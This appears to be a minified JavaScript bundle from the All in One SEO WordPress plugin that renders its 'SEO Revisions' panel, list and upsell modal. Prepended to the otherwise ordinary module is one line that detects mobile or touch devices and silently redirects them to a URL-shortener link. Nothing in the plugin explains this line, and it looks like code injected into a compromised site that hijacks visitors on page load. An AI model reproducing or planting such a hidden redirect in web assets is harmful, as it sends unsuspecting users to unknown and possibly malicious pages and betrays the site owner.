(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{j as R,N as L,C as U,h as E}from"./app-core.52885c02.js";import{C as I}from"./Blur.733ff0bf.js";import{C as A}from"./Index.191558ff.js";import{C as B}from"./SettingsRow.c5806203.js";import{au as N,f as r,i as p,j as t,a0 as o,v as c,U as u,an as n,O as T,ad as V,R as i,ae as f,T as z,M,Q as x}from"./vendor-vue-ui.c21c50b5.js";import{S as j}from"./Eye.a479ae7b.js";import{_ as D}from"./Trash.e939fb36.js";import{U as F,S as P}from"./Upsell.9e18c991.js";import{_ as v}from"./_plugin-vue_export-helper.eefbdd86.js";import{S as Q}from"./Short.cde1e5e7.js";import{_ as h}from"./vendor-other.ec82d685.js";import"./vendor-lodash.b9aaf385.js";import"./Close.4a8424fd.js";import"./Row.2e668feb.js";import"./Profile.317b72ad.js";import"./Index.8f92cf19.js";import"./Index.df48fa2a.js";import"./Button.7e4e5aaa.js";import"./Pencil.886eeda5.js";import"./RequiredPlans.3d75e621.js";const W={class:"aioseo-seo-revision-list-item"},q={class:"aioseo-seo-revision-list-item__author"},G={class:"aioseo-seo-revision-list-item__author__avatar"},H={class:"aioseo-seo-revision-list-item__author__name"},J={class:"aioseo-seo-revision-list-item__action"},K={class:"aioseo-seo-revision-list-item__action__view"},X={class:"aioseo-seo-revision-list-item__action__delete"},Y={__name:"ListItem",setup(m){const{currentUser:s}=N(R());return(d,e)=>(r(),p("div",W,[t("div",q,[t("span",G,[o(c(F),{src:c(s).avatar.url,size:c(s).avatar.size},null,8,["src","size"])]),t("span",H,u(c(L)(c(s).display_name,30)),1)]),e[1]||(e[1]=t("div",{class:"aioseo-seo-revision-list-item__date"}," 1 week ago (2 Dec, 2022 @ 18:28:57) ",-1)),t("div",J,[e[0]||(e[0]=t("span",{class:"aioseo-seo-revision-list-item__action__compare"}," Compare ",-1)),t("span",K,[o(c(j),{width:"18"})]),t("span",X,[o(c(D),{width:"18"})])])]))}},Z=v(Y,[["__scopeId","data-v-20175fdb"]]),oo={components:{SeoRevisionListItem:Z}},eo={class:"aioseo-seo-revisions-list"};function so(m,s,d,e,a,C){const _=n("seo-revision-list-item");return r(),p("div",eo,[(r(),p(T,null,V(13,l=>o(_,{key:"seo-revision-list-item-"+l})),64))])}const to=v(oo,[["render",so],["__scopeId","data-v-7b502c37"]]),S="all-in-one-seo-pack",no={setup(){return{seoRevisionsStore:R()}},components:{CoreBlur:I,CoreModal:A,CoreSettingsRow:B,SeoRevisionsList:to,SeoRevisionsUpsell:P,SvgRightArrowShort:Q},data(){return{strings:{button:h("Open SEO Revisions",S),description:h("With our powerful revisions feature for all your SEO data, never lose the exact SEO title or description (and more!) that helped you rank higher in search results and restore it back in a single click.",S),seoRevisions:h("SEO Revisions",S)}}}},io={key:0,class:"aioseo-seo-revisions-metabox"},ro={key:1,class:"aioseo-seo-revisions-sidebar"},ao={class:"aioseo-seo-revisions-sidebar__modal-body"},co={class:"description"};function _o(m,s,d,e,a,C){const _=n("seo-revisions-list"),l=n("core-blur"),g=n("seo-revisions-upsell"),y=n("core-modal"),$=n("svg-right-arrow-short"),w=n("base-button"),k=n("core-settings-row");return m.$root.$data.screenContext==="metabox"?(r(),p("div",io,[o(l,null,{default:i(()=>[o(_)]),_:1}),o(g,{"parent-component-context":"metabox"})])):m.$root.$data.screenContext==="sidebar"?(r(),p("div",ro,[o(y,{show:e.seoRevisionsStore.modalOpenSidebar,classes:[],onClose:s[0]||(s[0]=O=>e.seoRevisionsStore.modalOpenSidebar=!1)},{headerTitle:i(()=>[f(u(a.strings.seoRevisions),1)]),body:i(()=>[t("div",ao,[o(l,null,{default:i(()=>[o(_)]),_:1}),o(g,{"parent-component-context":"modal"})])]),_:1},8,["show"]),o(k,{align:""},{name:i(()=>[f(u(a.strings.seoRevisions),1)]),description:i(()=>[t("p",co,u(a.strings.description),1)]),content:i(()=>[o(w,{class:"gray small",onClick:s[1]||(s[1]=z(O=>e.seoRevisionsStore.modalOpenSidebar=!0,["stop","exact"]))},{default:i(()=>[o($,{width:"10"}),f("   "+u(a.strings.button),1)]),_:1})]),_:1})])):M("",!0)}const b=v(no,[["render",_o],["__scopeId","data-v-eda67d56"]]),lo={setup(){return{licenseStore:E()}},components:{SeoRevisions:b,SeoRevisionsLite:b},props:{parentComponentContext:String},data(){return{license:U}}},po={class:"aioseo-seo-revisions aioseo-tab-content"};function mo(m,s,d,e,a,C){const _=n("seo-revisions",!0),l=n("seo-revisions-lite");return r(),p("div",po,[!e.licenseStore.isUnlicensed&&a.license.hasCoreFeature("seo-revisions")?(r(),x(_,{key:0,parentComponentContext:d.parentComponentContext},null,8,["parentComponentContext"])):(r(),x(l,{key:1,parentComponentContext:d.parentComponentContext},null,8,["parentComponentContext"]))])}const Bo=v(lo,[["render",mo],["__scopeId","data-v-463f2e4b"]]);export{Bo as default};
